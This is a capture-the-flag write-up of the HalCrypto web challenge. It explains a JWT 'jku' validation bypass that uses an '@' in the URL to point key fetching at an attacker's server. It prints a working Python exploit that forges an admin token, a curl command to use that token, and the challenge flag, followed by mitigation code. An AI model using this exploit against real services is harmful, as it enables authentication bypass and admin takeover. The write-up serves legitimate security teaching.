Amazon AppSec CTF: HalCrypto
Executive Summary
- Challenge: HalCrypto
- Category: Web Security
- Vulnerability: JWT validation bypass via URL confusion with @ symbol
- Impact: Authentication bypass leading to admin access
- Flag:
HTB{r3d1r3c73d_70_my_s3cr37s}
Vulnerability Overview
Attack Flow Diagram
Source-to-Sink Analysis
1. Entry Point - JWT Authentication (Source)
The vulnerability starts when the AuthMiddleware processes JWT tokens:
// middleware/AuthMiddleware.js:5-34
module.exports = async (req, res, next) => {
try {
if (req.cookies.session === undefined) {
if (!req.is('application/json')) return res.redirect('/');
return res.status(401).send(response('Authentication required!'));
}
return JWTHelper.getHeader(req.cookies.session)
.then(header => {
if (header.jku && header.kid) {
// VULNERABILITY: Weak URL validation using lastIndexOf
if (header.jku.lastIndexOf(config.AUTH_PROVIDER, 0) !== 0) {
return res.status(500).send(response('The JWKS endpoint is not from localhost!'));
}
return JWTHelper.getPublicKey(header.jku, header.kid)
.then(pubkey => {
return JWTHelper.verify(req.cookies.session, pubkey)
.then(data => {
req.user = data.user;
return next();
})
.catch(() => res.status(403).send(response('Authentication token could not be verified!')));
})
.catch(() => res.redirect('/logout'));
}
return res.status(500).send(response('Missing required claims in JWT!'));
})
.catch(err => res.status(500).send(response("Invalid session token supplied!")));
} catch (e) {
return res.status(500).send(response(e.toString()));
}
}
2. The Vulnerable Validation - String-based URL Check
The critical vulnerability lies in line 14 of AuthMiddleware.js
:
// The vulnerable check
if (header.jku.lastIndexOf(config.AUTH_PROVIDER, 0) !== 0) {
return res.status(500).send(response('The JWKS endpoint is not from localhost!'));
}
Why this is vulnerable:
lastIndexOf(searchString, 0)
only checks if the string starts withsearchString
- It’s a simple string comparison, not proper URL parsing
- Doesn’t account for URL syntax like authentication credentials (
user:pass@host
)
3. Configuration - Expected AUTH_PROVIDER
// config.js:11-15
if (env == 'prod') {
this.AUTH_PROVIDER = 'http://halcrypto.htb:1337';
} else {
this.AUTH_PROVIDER = 'http://127.0.0.1:1337';
}
The application expects JKU URLs to start with either:
- Production:
http://halcrypto.htb:1337
- Development:
http://127.0.0.1:1337
4. JWKS Fetching - The Sink
The JWTHelper fetches the public key from the attacker-controlled URL:
// helpers/JWTHelper.js:52-67
async getPublicKey(jku, kid) {
return new Promise(async (resolve, reject) => {
client = jwksClient({
jwksUri: jku, // Attacker-controlled URL
fetcher: this.nodeFetch,
timeout: 30000
});
client.getSigningKey(kid)
.then(key => {
resolve(key.getPublicKey());
})
.catch(e => {
reject(e);
});
});
}
The nodeFetch
function that actually makes the HTTP request:
// helpers/JWTHelper.js:6-16
async nodeFetch(url) {
return new Promise(async (resolve, reject) => {
try {
res = await fetch(url); // Fetches from attacker's server
resolve(res.json());
}
catch (e) {
reject(e);
}
});
}
URL Confusion Attack Explained
How URL Parsing Works
Key Insight: The validation sees 127.0.0.1:1337
as part of the URL, but HTTP clients interpret it as authentication credentials and connect to attacker.com
instead.
Exploit Chain
Detailed Exploit Flow
Exploit Implementation
1. Malicious JWKS Server (solve.py)
from flask import Flask, jsonify
from jwcrypto import jwk
import jwt, time
# Generate RSA key pair
key = jwk.JWK.generate(kty='RSA', size=2048)
pub_jwk = jwk.JWK()
pub_jwk.import_key(**key.export(as_dict=True, private_key=False))
kid = 'attack-key-1'
# Format JWKS to match application expectations
pub_jwk_dict = pub_jwk.export(as_dict=True)
pub_jwk_dict['kid'] = kid
pub_jwk_dict['alg'] = 'RS256'
pub_jwk_dict['use'] = 'sig'
jwks = {'keys': [pub_jwk_dict]}
app = Flask(__name__)
@app.get("/.well-known/jwks.json")
def jwks_endpoint():
return jsonify(jwks)
if __name__ == "__main__":
your_host = "mytuhc90.relais.dev" # Tunnel endpoint
# Craft malicious JKU URL with @ symbol for URL confusion
jku = f"http://127.0.0.1:1337@{your_host}/.well-known/jwks.json"
# Create admin JWT payload
payload = {
"user": {
"username": "admin",
"is_admin": 1 # Elevate privileges
},
"iat": int(time.time()),
"exp": int(time.time()) + 3600
}
# Sign with our private key
priv_pem = key.export_to_pem(private_key=True, password=None)
token = jwt.encode(
payload,
priv_pem,
algorithm="RS256",
headers={
"jku": jku, # Points to our server but passes validation
"kid": kid # Key ID to find in our JWKS
}
)
print("Use this token as the 'session' cookie:")
print(token)
app.run(host="0.0.0.0", port=8000)
2. Generated Malicious JWT Structure
{
"header": {
"alg": "RS256",
"jku": "http://127.0.0.1:[email protected]/.well-known/jwks.json",
"kid": "attack-key-1",
"typ": "JWT"
},
"payload": {
"user": {
"username": "admin",
"is_admin": 1
},
"iat": 1757660738,
"exp": 1757664338
},
"signature": "[signed with attacker's private key]"
}
3. Attack Execution
# Step 1: Start malicious JWKS server
python3 solve.py
# Step 2: Use generated token
TOKEN="eyJhbGciOiJSUzI1NiIsImprdSI6Imh0dHA6Ly8xMjcuMC4wLjE6MTMzN0BteXR1aGM5MC5yZWxhaXMuZGV2Ly53ZWxsLWtub3duL2p3a3MuanNvbiIsImtpZCI6ImF0dGFjay1rZXktMSIsInR5cCI6IkpXVCJ9..."
# Step 3: Access admin dashboard with forged token
curl -s http://halcrypto.htb:34139/dashboard \
-H "Cookie: session=$TOKEN" \
| grep -o 'HTB{[^}]*}'
Vulnerability Root Cause Analysis
Why the Attack Succeeds
Security Issues Identified
Weak URL Validation
- Uses
lastIndexOf
string operation instead of proper URL parsing - Doesn’t validate URL structure or components
- Uses
URL Parsing Ambiguity
- Different interpretation of
@
symbol between validator and HTTP client - No sanitization of URL authentication components
- Different interpretation of
JWKS Trust Model
- Blindly trusts any JWKS from “validated” URL
- No certificate pinning or additional verification
Missing Security Controls
- No egress filtering for JWKS fetching
- No allowlist of trusted JWKS endpoints
- Static configuration without runtime validation
Mitigation Recommendations
1. Proper URL Validation
// Secure URL validation using URL parsing
const validateJKU = (jku) => {
const allowedHosts = ['127.0.0.1:1337', 'halcrypto.htb:1337'];
try {
const url = new URL(jku);
// Check for authentication credentials
if (url.username || url.password) {
throw new Error('URLs with credentials are not allowed');
}
// Validate host
if (!allowedHosts.includes(url.host)) {
throw new Error('Unauthorized JWKS host');
}
// Validate protocol
if (url.protocol !== 'http:' && url.protocol !== 'https:') {
throw new Error('Invalid protocol');
}
return true;
} catch (e) {
return false;
}
};
2. JWKS Endpoint Allowlisting
// Strict allowlist approach
const ALLOWED_JWKS_ENDPOINTS = [
'http://127.0.0.1:1337/.well-known/jwks.json',
'http://halcrypto.htb:1337/.well-known/jwks.json'
];
const validateJWKS = (jku) => {
return ALLOWED_JWKS_ENDPOINTS.includes(jku);
};
3. Certificate Pinning
// Pin expected certificates or keys
const PINNED_KEYS = {
'http://127.0.0.1:1337/.well-known/jwks.json': {
kid: 'expected-key-id',
thumbprint: 'sha256:...'
}
};
const validateKey = (jku, key) => {
const pinned = PINNED_KEYS[jku];
return pinned && key.kid === pinned.kid;
};
4. Network Segmentation
// Implement egress filtering
const fetchJWKS = async (url) => {
// Parse and validate URL
const parsed = new URL(url);
// Block private networks
if (isPrivateIP(parsed.hostname)) {
throw new Error('Access to private networks denied');
}
// Use a proxy for external requests
return await fetch(url, {
agent: trustedProxy,
timeout: 5000
});
};
Attack Timeline
- Initial Reconnaissance - Identified JWT-based authentication with JKU header
- Source Code Analysis - Found vulnerable
lastIndexOf
validation - URL Confusion Research - Discovered
@
symbol bypass technique - Exploit Development - Created malicious JWKS server and JWT generator
- Tunnel Setup - Established external access via
relais.dev
- Attack Execution - Successfully bypassed authentication
- Flag Retrieval - Accessed admin dashboard and extracted flag
Flag Extraction
Successfully accessing /dashboard
with the forged JWT revealed:
<div class="c-balance">
<div class="row">
<div class="col">
<p class="pr-h1 text-uppercase">flag</p>
<p class="pr-num"> HTB{r3d1r3c73d_70_my_s3cr37s} </p>
</div>
</div>
</div>
Lessons Learned
- URL Parsing Complexity - URLs have many components that can be interpreted differently
- String Operations ≠ Security - Never use string operations for security validations
- Trust Boundaries - External resources should never be blindly trusted
- Defense in Depth - Multiple layers of validation are necessary
- Standards Compliance - Follow JWT security best practices (RFC 8725)
References
- RFC 8725: JSON Web Token Best Current Practices
- URL Living Standard - @ Symbol Handling
- JWKS Security Considerations
- JWT Attack Playbook